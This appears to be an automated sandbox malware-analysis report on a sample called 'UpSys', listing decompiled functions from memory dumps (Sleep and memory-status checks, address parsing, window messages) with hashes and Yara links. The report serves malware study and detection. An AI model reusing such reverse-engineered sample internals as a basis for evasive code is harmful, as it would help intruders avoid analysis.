                                                                                                                                                                                                        0x14002e36e
                                                                                                                                                                                                        0x14002e371
                                                                                                                                                                                                        0x14002e377
                                                                                                                                                                                                        0x14002e379
                                                                                                                                                                                                        0x14002e37b
                                                                                                                                                                                                        0x14002e37e
                                                                                                                                                                                                        0x14002e384
                                                                                                                                                                                                        0x14002e386
                                                                                                                                                                                                        0x14002e38b
                                                                                                                                                                                                        0x14002e38d
                                                                                                                                                                                                        0x14002e391
                                                                                                                                                                                                        0x14002e393
                                                                                                                                                                                                        0x14002e397
                                                                                                                                                                                                        0x14002e39c
                                                                                                                                                                                                        0x14002e3a3
                                                                                                                                                                                                        0x14002e3a7
                                                                                                                                                                                                        0x14002e3b8

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _errno
                                                                                                                                                                                                        • String ID: 1
                                                                                                                                                                                                        • API String ID: 2918714741-2212294583
                                                                                                                                                                                                        • Opcode ID: 9f4d4c25e8a6fb86e73febc422f8429c7ee9f4e134a03394fde33831af4ffd70
                                                                                                                                                                                                        • Instruction ID: 32b81973b63d5427a55afe8fdfee7d741d227ff5cccb346dbce82002e601d7a3
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 9f4d4c25e8a6fb86e73febc422f8429c7ee9f4e134a03394fde33831af4ffd70
                                                                                                                                                                                                        • Instruction Fuzzy Hash: B72104722182C085FB27CB3AC4183ED6B94A74D7C5F988029BB454B6E3DA7E8E40C712
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140088C10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61sleepCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 16%
                                                                                                                                                                                                        			E00000001140088C10(void* __eflags, void* __rdx, void* __rdi, void* __rsi, void* __r8) {
				intOrPtr _v84;
				intOrPtr _v88;
				void* _t25;
				void* _t40;

				_t37 = __rdi;
				_t36 = __rdx;
				asm("movaps [esp+0x60], xmm6");
				Sleep(??);
				_v88 = 0x40;
				GlobalMemoryStatusEx(??);
				_t3 = _t36 + 6; // 0x7
				r8d = _t3;
				E00000001140012B40(1, __r8, __rdx, __rsi, __r8, _t40);
				r11d = _v84;
				asm("pxor xmm2, xmm2");
				asm("repne dec ecx");
				E00000001140088260(0, _t25, __r8, __rdx, __rdi, _t40);
				asm("movsd xmm6, [0x1b0ae]");
				asm("pxor xmm2, xmm2");
				asm("repne dec eax");
				asm("mulsd xmm2, xmm6");
				E00000001140088260(1, _t25, __r8, __rdx, __rdi, _t40);
				asm("pxor xmm2, xmm2");
				asm("repne dec eax");
				asm("mulsd xmm2, xmm6");
				E00000001140088260(2, _t25, __r8, __rdx, __rdi, _t40);
				asm("pxor xmm2, xmm2");
				asm("repne dec eax");
				asm("mulsd xmm2, xmm6");
				E00000001140088260(3, _t25, __r8, _t36, __rdi, _t40);
				asm("pxor xmm2, xmm2");
				asm("repne dec eax");
				asm("mulsd xmm2, xmm6");
				E00000001140088260(4, _t25, __r8, _t36, _t37, _t40);
				asm("pxor xmm2, xmm2");
				asm("repne dec eax");
				asm("mulsd xmm2, xmm6");
				E00000001140088260(5, _t25, __r8, _t36, _t37, _t40);
				asm("pxor xmm2, xmm2");
				asm("repne dec eax");
				asm("mulsd xmm2, xmm6");
				E00000001140088260(6, _t25, __r8, _t36, _t37, _t40);
				asm("movaps xmm6, [esp+0x60]");
				return 0;
			}







                                                                                                                                                                                                        0x140088c10
                                                                                                                                                                                                        0x140088c10
                                                                                                                                                                                                        0x140088c18
                                                                                                                                                                                                        0x140088c20
                                                                                                                                                                                                        0x140088c2b
                                                                                                                                                                                                        0x140088c33
                                                                                                                                                                                                        0x140088c41
                                                                                                                                                                                                        0x140088c41
                                                                                                                                                                                                        0x140088c45
                                                                                                                                                                                                        0x140088c4a
                                                                                                                                                                                                        0x140088c54
                                                                                                                                                                                                        0x140088c58
                                                                                                                                                                                                        0x140088c5d
                                                                                                                                                                                                        0x140088c62
                                                                                                                                                                                                        0x140088c72
                                                                                                                                                                                                        0x140088c76
                                                                                                                                                                                                        0x140088c7d
                                                                                                                                                                                                        0x140088c81
                                                                                                                                                                                                        0x140088c8e
                                                                                                                                                                                                        0x140088c92
                                                                                                                                                                                                        0x140088c99
                                                                                                                                                                                                        0x140088c9d
                                                                                                                                                                                                        0x140088caa
                                                                                                                                                                                                        0x140088cae
                                                                                                                                                                                                        0x140088cb5
                                                                                                                                                                                                        0x140088cb9
                                                                                                                                                                                                        0x140088cc6
                                                                                                                                                                                                        0x140088cca
                                                                                                                                                                                                        0x140088cd1
                                                                                                                                                                                                        0x140088cd5
                                                                                                                                                                                                        0x140088ce2
                                                                                                                                                                                                        0x140088ce6
                                                                                                                                                                                                        0x140088ced
                                                                                                                                                                                                        0x140088cf1
                                                                                                                                                                                                        0x140088cfe
                                                                                                                                                                                                        0x140088d02
                                                                                                                                                                                                        0x140088d09
                                                                                                                                                                                                        0x140088d0d
                                                                                                                                                                                                        0x140088d12
                                                                                                                                                                                                        0x140088d1e

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: GlobalMemorySleepStatus
                                                                                                                                                                                                        • String ID: @
                                                                                                                                                                                                        • API String ID: 2783356886-2766056989
                                                                                                                                                                                                        • Opcode ID: 304aaec23ba6c0ccab6fd7afdcd402e453d83187b00e703d1127aa77e786ee94
                                                                                                                                                                                                        • Instruction ID: 5e4e647999c36f70d89d0cce3590b9ca50f02a8b9f15677c71e83ebd5c878c23
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 304aaec23ba6c0ccab6fd7afdcd402e453d83187b00e703d1127aa77e786ee94
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 2821713250EE445BDA1BBB37901239B9216EFE9BC4F05C721BE4B276B5CB3AC5524B00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140076C60 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55networkCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 46%
                                                                                                                                                                                                        			E00000001140076C60(void* __edx, void* __eflags, long long __rbx, intOrPtr* __rcx, intOrPtr* __rdx, long long __rsi, long long __rbp, void* __r8, void* __r9, void* _a8, void* _a16, void* _a24) {
				char _v56;
				intOrPtr _t14;
				short _t17;
				intOrPtr _t26;
				void* _t32;
				intOrPtr* _t35;
				void* _t47;
				intOrPtr* _t48;
				void* _t54;
				void* _t59;
				void* _t62;

				_t32 = _t54;
				 *((long long*)(_t32 + 8)) = __rbx;
				 *((long long*)(_t32 + 0x10)) = __rbp;
				 *((long long*)(_t32 + 0x18)) = __rsi;
				_t48 = __rdx;
				_t35 = __rcx;
				r13d = 2;
				 *__rdx = r13w;
				_t14 = E0000000114006AD20(__edx, __eflags, _t32, __rcx, __r8, _t32 - 0x38, __rsi, __rbp, __r9);
				0x40016638(_t59, _t47);
				_t26 = _t14;
				E00000001140002610(_t14, _t35,  &_v56);
				if (_t26 != 0xffffffff) goto 0x40076ccc;
				if (E0000000114005AF90(_t26 - 0xffffffff) == 0) goto 0x40076ccc;
				goto 0x40076cec;
				_t17 = __rsi - 1;
				 *((intOrPtr*)(_t48 + 4)) = _t26;
				if (_t17 - 0xfffe > 0) goto 0x40076ce9;
				0x40016680();
				 *((short*)(_t48 + 2)) = _t17;
				goto 0x40076d00;
				r8d = 0;
				E0000000114000FCA0(r13d,  *_t35, _t35,  *((intOrPtr*)( *_t35 + 4)) + _t35, __rsi, _t62);
				return 0;
			}














                                                                                                                                                                                                        0x140076c60
                                                                                                                                                                                                        0x140076c63
                                                                                                                                                                                                        0x140076c67
                                                                                                                                                                                                        0x140076c6b
                                                                                                                                                                                                        0x140076c78
                                                                                                                                                                                                        0x140076c7b
                                                                                                                                                                                                        0x140076c7e
                                                                                                                                                                                                        0x140076c84
                                                                                                                                                                                                        0x140076c95
                                                                                                                                                                                                        0x140076c9d
                                                                                                                                                                                                        0x140076ca7
                                                                                                                                                                                                        0x140076ca9
                                                                                                                                                                                                        0x140076cb1
                                                                                                                                                                                                        0x140076cc4
                                                                                                                                                                                                        0x140076cca
                                                                                                                                                                                                        0x140076ccc
                                                                                                                                                                                                        0x140076ccf
                                                                                                                                                                                                        0x140076cd7
                                                                                                                                                                                                        0x140076cdc
                                                                                                                                                                                                        0x140076ce1
                                                                                                                                                                                                        0x140076ce7
                                                                                                                                                                                                        0x140076cef
                                                                                                                                                                                                        0x140076cf9
                                                                                                                                                                                                        0x140076d18

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: htonsinet_addr
                                                                                                                                                                                                        • String ID: 255.255.255.255
                                                                                                                                                                                                        • API String ID: 3832099526-2422070025
                                                                                                                                                                                                        • Opcode ID: f720d3440aa26f3ba722c7867a1ca6ee74987b9d1d2e62b65121a7481ba6e22f
                                                                                                                                                                                                        • Instruction ID: e50ba6468af7395e46b663878b737bb997dc58d55e94f4e64ebd79483a18c8b7
                                                                                                                                                                                                        • Opcode Fuzzy Hash: f720d3440aa26f3ba722c7867a1ca6ee74987b9d1d2e62b65121a7481ba6e22f
                                                                                                                                                                                                        • Instruction Fuzzy Hash: C2119A7620074485EB26EF23E8413EE7360FB89BD4F449422EF5A477A2DB39D854CB40
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014007C4A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 79%
                                                                                                                                                                                                        			E0000000114007C4A0(void* __ecx, void* __edx, void* __eflags, long long __rbx, void* __rcx, void* __rdx, long long __rsi, long long __rbp, intOrPtr* __r8, void* _a8, void* _a16, void* _a24) {
				char _v40;
				void* _t16;
				void* _t19;
				void* _t26;
				void* _t27;
				void* _t30;
				void* _t35;
				struct HWND__* _t51;
				void* _t52;
				intOrPtr* _t55;
				void* _t58;
				void* _t60;
				intOrPtr* _t63;

				_t63 = __r8;
				_t36 = __rbx;
				_t30 = __eflags;
				_t27 = __edx;
				_t26 = __ecx;
				_t35 = _t60;
				 *((long long*)(_t35 + 8)) = __rbx;
				 *((long long*)(_t35 + 0x10)) = __rbp;
				 *((long long*)(_t35 + 0x18)) = __rsi;
				_t58 = __rdx;
				_t52 = __rcx;
				_t55 = __r8;
				E00000001140001D30(_t35, __rbx, _t35 - 0x28, L"ComboBox");
				r8d = 0;
				_t16 = E0000000114007B790(_t26, _t27, _t30, _t35, _t36, _t52,  &_v40, _t55, _t58, _t63);
				E00000001140002610(_t16, _t36,  &_v40);
				if (_t16 == 0) goto 0x4007c4f4;
				goto 0x4007c52a;
				E00000001140001D30(_t35, _t36,  &_v40, L"ListBox");
				r8d = 0;
				_t19 = E0000000114007B790(_t26, 0x158, _t16, _t35, _t36, _t52,  &_v40, _t55, _t58, _t63);
				E00000001140002610(_t19, _t36,  &_v40);
				if (_t19 == 0) goto 0x4007c545;
				 *_t55 = SendMessageW(_t51, ??, ??);
				goto 0x4007c547;
				return 0;
			}
















                                                                                                                                                                                                        0x14007c4a0
                                                                                                                                                                                                        0x14007c4a0
                                                                                                                                                                                                        0x14007c4a0
                                                                                                                                                                                                        0x14007c4a0
                                                                                                                                                                                                        0x14007c4a0
                                                                                                                                                                                                        0x14007c4a0
                                                                                                                                                                                                        0x14007c4a3
                                                                                                                                                                                                        0x14007c4a7
                                                                                                                                                                                                        0x14007c4ab
                                                                                                                                                                                                        0x14007c4b4
                                                                                                                                                                                                        0x14007c4b7
                                                                                                                                                                                                        0x14007c4c5
                                                                                                                                                                                                        0x14007c4c8
                                                                                                                                                                                                        0x14007c4d2
                                                                                                                                                                                                        0x14007c4d8
                                                                                                                                                                                                        0x14007c4e4
                                                                                                                                                                                                        0x14007c4eb
                                                                                                                                                                                                        0x14007c4f2
                                                                                                                                                                                                        0x14007c500
                                                                                                                                                                                                        0x14007c50a
                                                                                                                                                                                                        0x14007c510
                                                                                                                                                                                                        0x14007c51c
                                                                                                                                                                                                        0x14007c523
                                                                                                                                                                                                        0x14007c53e
                                                                                                                                                                                                        0x14007c543
                                                                                                                                                                                                        0x14007c55b

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend
                                                                                                                                                                                                        • String ID: ComboBox$ListBox
                                                                                                                                                                                                        • API String ID: 3850602802-1403004172
                                                                                                                                                                                                        • Opcode ID: 121d801e757983a74b0bfca0c83e0dc9aef70148aabbac8be167e3289b6c8a5f
                                                                                                                                                                                                        • Instruction ID: 079360ecddbc7f997f4d501b8c97e43419ee2e5b4b69b61110212e54e3a6ed31
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 121d801e757983a74b0bfca0c83e0dc9aef70148aabbac8be167e3289b6c8a5f
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 54118172214A8092EA11DF16E5407DD6361F7897E0F885211FBA807BE5DF38C649C700
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014007C560 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 76%
                                                                                                                                                                                                        			E0000000114007C560(void* __ecx, void* __edx, void* __eflags, void* __rax, long long __rbx, void* __rcx, long long __rsi, void* __rbp, void* __r8, long long _a8, long long _a16) {
				char _v40;
				void* _t14;
				void* _t17;
				void* _t24;
				void* _t28;
				void* _t33;
				void* _t48;
				void* _t50;
				void* _t56;

				_t56 = __r8;
				_t34 = __rbx;
				_t33 = __rax;
				_t28 = __eflags;
				_t25 = __edx;
				_t24 = __ecx;
				_a8 = __rbx;
				_a16 = __rsi;
				_t50 = __edx;
				_t48 = __rcx;
				E00000001140001D30(__rax, __rbx,  &_v40, L"ComboBox");
				r8d = 0;
				_t14 = E0000000114007B790(_t24, _t25, _t28, _t33, _t34, _t48,  &_v40, _t50, __rbp, _t56);
				E00000001140002610(_t14, _t34,  &_v40);
				if (_t14 == 0) goto 0x4007c5ad;
				goto 0x4007c5e3;
				E00000001140001D30(_t33, _t34,  &_v40, L"ListBox");
				r8d = 0;
				_t17 = E0000000114007B790(_t24, 0x144, _t14, _t33, _t34, _t48,  &_v40, _t50, __rbp, _t56);
				E00000001140002610(_t17, _t34,  &_v40);
				if (_t17 == 0) goto 0x4007c5fa;
				r9d = 0;
				SendMessageW(??, ??, ??, ??);
				goto 0x4007c5fc;
				return 0;
			}












                                                                                                                                                                                                        0x14007c560
                                                                                                                                                                                                        0x14007c560
                                                                                                                                                                                                        0x14007c560
                                                                                                                                                                                                        0x14007c560
                                                                                                                                                                                                        0x14007c560
                                                                                                                                                                                                        0x14007c560
                                                                                                                                                                                                        0x14007c560
                                                                                                                                                                                                        0x14007c565
                                                                                                                                                                                                        0x14007c56f
                                                                                                                                                                                                        0x14007c572
                                                                                                                                                                                                        0x14007c581
                                                                                                                                                                                                        0x14007c58b
                                                                                                                                                                                                        0x14007c591
                                                                                                                                                                                                        0x14007c59d
                                                                                                                                                                                                        0x14007c5a4
                                                                                                                                                                                                        0x14007c5ab
                                                                                                                                                                                                        0x14007c5b9
                                                                                                                                                                                                        0x14007c5c3
                                                                                                                                                                                                        0x14007c5c9
                                                                                                                                                                                                        0x14007c5d5
                                                                                                                                                                                                        0x14007c5dc
                                                                                                                                                                                                        0x14007c5e9
                                                                                                                                                                                                        0x14007c5ec
                                                                                                                                                                                                        0x14007c5f8
                                                                                                                                                                                                        0x14007c60b

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend
                                                                                                                                                                                                        • String ID: ComboBox$ListBox
                                                                                                                                                                                                        • API String ID: 3850602802-1403004172
                                                                                                                                                                                                        • Opcode ID: 2f05ae6e157f8a42297559a56ca6957d9af2f01c43b9914e469efcfb6df133bb
                                                                                                                                                                                                        • Instruction ID: aeb5a3440239ab1ac4ff80c1aa70ea79e93e71c8f2c5c5bbd0eb92ff538c231a
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 2f05ae6e157f8a42297559a56ca6957d9af2f01c43b9914e469efcfb6df133bb
                                                                                                                                                                                                        • Instruction Fuzzy Hash: B9117072328A8092EA25DB16E1517EA5361F7CD7C4F849115FB8D07AAADE3CC6498B00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014007C610 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 76%
                                                                                                                                                                                                        			E0000000114007C610(void* __ecx, void* __edx, void* __eflags, void* __rax, long long __rbx, void* __rcx, void* __rdx, long long __rsi, void* __rbp, void* __r8, long long _a8, long long _a16) {
				char _v40;
				void* _t14;
				void* _t17;
				void* _t24;
				void* _t25;
				void* _t28;
				void* _t33;
				void* _t49;
				void* _t51;
				void* _t57;

				_t57 = __r8;
				_t34 = __rbx;
				_t33 = __rax;
				_t28 = __eflags;
				_t25 = __edx;
				_t24 = __ecx;
				_a8 = __rbx;
				_a16 = __rsi;
				_t51 = __rdx;
				_t49 = __rcx;
				E00000001140001D30(__rax, __rbx,  &_v40, L"ComboBox");
				r8d = 0;
				_t14 = E0000000114007B790(_t24, _t25, _t28, _t33, _t34, _t49,  &_v40, _t51, __rbp, _t57);
				E00000001140002610(_t14, _t34,  &_v40);
				if (_t14 == 0) goto 0x4007c65d;
				goto 0x4007c693;
				E00000001140001D30(_t33, _t34,  &_v40, L"ListBox");
				r8d = 0;
				_t17 = E0000000114007B790(_t24, 0x143, _t14, _t33, _t34, _t49,  &_v40, _t51, __rbp, _t57);
				E00000001140002610(_t17, _t34,  &_v40);
				if (_t17 == 0) goto 0x4007c6aa;
				r8d = 0;
				SendMessageW(??, ??, ??, ??);
				goto 0x4007c6ac;
				return 0;
			}













                                                                                                                                                                                                        0x14007c610
                                                                                                                                                                                                        0x14007c610
                                                                                                                                                                                                        0x14007c610
                                                                                                                                                                                                        0x14007c610
                                                                                                                                                                                                        0x14007c610
                                                                                                                                                                                                        0x14007c610
                                                                                                                                                                                                        0x14007c610
                                                                                                                                                                                                        0x14007c615
                                                                                                                                                                                                        0x14007c61f
                                                                                                                                                                                                        0x14007c622
                                                                                                                                                                                                        0x14007c631
                                                                                                                                                                                                        0x14007c63b
                                                                                                                                                                                                        0x14007c641
                                                                                                                                                                                                        0x14007c64d
                                                                                                                                                                                                        0x14007c654
                                                                                                                                                                                                        0x14007c65b
                                                                                                                                                                                                        0x14007c669
                                                                                                                                                                                                        0x14007c673
                                                                                                                                                                                                        0x14007c679
                                                                                                                                                                                                        0x14007c685
                                                                                                                                                                                                        0x14007c68c
                                                                                                                                                                                                        0x14007c699
                                                                                                                                                                                                        0x14007c69c
                                                                                                                                                                                                        0x14007c6a8
                                                                                                                                                                                                        0x14007c6bb

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend
                                                                                                                                                                                                        • String ID: ComboBox$ListBox
                                                                                                                                                                                                        • API String ID: 3850602802-1403004172
                                                                                                                                                                                                        • Opcode ID: 4a797a603044acc3191733cbd94a9a0ed4636a98f4b8f0981ea16b60a73bb103
                                                                                                                                                                                                        • Instruction ID: 9070967d9e790428cf80ba653c3c8ee4d2b4abaac0a9e2db7dfaaa3bee657240
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 4a797a603044acc3191733cbd94a9a0ed4636a98f4b8f0981ea16b60a73bb103
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 2111217232468492EA21DB16E5517DE5351F7CD7C4F849112FB9D07AA9DE3CC6198B00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014003DC30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40processCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 40%
                                                                                                                                                                                                        			E0000000114003DC30(void* __ecx, long long __rbx, void* __rdx, long long __rbp, long long _a8, long long _a16) {
				long long _v16;
				long long _v24;
				long long _v32;
				long long _v40;
				intOrPtr _v48;
				intOrPtr _v56;
				void* _t13;
				void* _t14;
				void* _t40;

				_t31 = __rdx;
				_a8 = __rbx;
				_a16 = __rbp;
				_t3 = _t31 + 0x68; // 0x68
				r8d = _t3;
				_t14 = E00000001140017520(_t13, __ecx, 0, 0x400c87c0, __rdx, _t40);
				_t4 = _t31 + 0x18; // 0x18
				r8d = _t4;
				E00000001140017520(_t14, __ecx, 0, 0x400c87a0, __rdx, _t40);
				_v16 = 0x400c87a0;
				_v24 = 0x400c87c0;
				r9d = 0;
				_v32 = 0x400c87a0;
				_v40 = 0x400c87a0;
				r8d = 0;
				_v48 = 0x20;
				 *0x400c87c0 = 0x68;
